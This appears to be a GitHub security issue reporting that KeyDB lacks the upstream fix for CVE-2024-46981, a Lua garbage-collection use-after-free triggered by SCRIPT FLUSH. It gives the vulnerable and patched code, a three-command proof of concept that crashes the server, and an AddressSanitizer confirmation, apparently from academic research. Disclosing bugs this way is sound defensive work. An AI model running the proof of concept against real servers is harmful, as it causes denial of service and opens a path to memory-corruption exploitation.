You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
[Security] CVE-2024-46981: Lua GC manipulation leading to use-after-free #964
The upstream fix for this CVE has not been cherry-picked into KeyDB. Verified by checking KeyDB latest master (git sha 603ebb27) — fix commit absent, vulnerable code path present.
scriptingRelease() in src/scripting.cpp:1333 calls lua_close()without first calling lua_gc(LUA_GCCOLLECT, 0):
// VULNERABLE (KeyDB):voidscriptingRelease(intasync) {
...
lua_close(g_pserver->lua); // no lua_gc() before this
}
// FIXED (Valkey commit 4ffd3ebdeb02):voidscriptingRelease(...) {
...
lua_gc(lua, LUA_GCCOLLECT, 0); // added: finalize before teardownlua_close(lua);
}
When SCRIPT FLUSH triggers scriptingRelease(), any pending Lua __gc finalizers (held in Lua's tmudata queue) are executed insidelua_close() while the Lua state is being torn down. A finalizer that calls redis.call() reaches into already-freed Redis server objects — heap-use-after-free.
PoC
# 1. Stop incremental GC so finalizers stay pending
EVAL "collectgarbage('stop'); return 1" 0
# 2. Create userdata with __gc finalizer that calls back into Redis
EVAL "local objs={} for i=1,10 do local p=newproxy(true); getmetatable(p).__gc=function() redis.call('SET','x','1') end; objs[i]=p end return #objs" 0
# 3. SCRIPT FLUSH -> scriptingRelease -> lua_close -> finalizer fires -> UAF
SCRIPT FLUSH
Activity
vulgraph commentedon Apr 14, 2026
Dynamic Verification Update — ASan Confirmed
This issue has been upgraded from code-level to dynamically confirmed via AddressSanitizer.
Environment
keydb-asan-final(KeyDB commit603ebb27, compiled with-fsanitize=address)detect_leaks=0:abort_on_error=1:halt_on_error=1Root Cause (detailed)
scriptingRelease()insrc/scripting.cpp:1333callslua_close()without first callinglua_gc(LUA_GCCOLLECT, 0):When
SCRIPT FLUSHtriggersscriptingRelease(), any pending Lua__gcfinalizers (held in Lua'stmudataqueue) are executed insidelua_close()while the Lua state is being torn down. A finalizer that callsredis.call()reaches into already-freed Redis server objects — heap-use-after-free.PoC
ASan Output
Server crashes with SIGSEGV (signal 11) from within the UAF.
Fix
One line in
src/scripting.cpp,scriptingRelease():This matches Valkey fix commit
4ffd3ebdeb02(GHSA-39h2-x6c4-6w4c).Reported as part of academic research on 1-day vulnerability propagation in open-source fork ecosystems (Xidian University).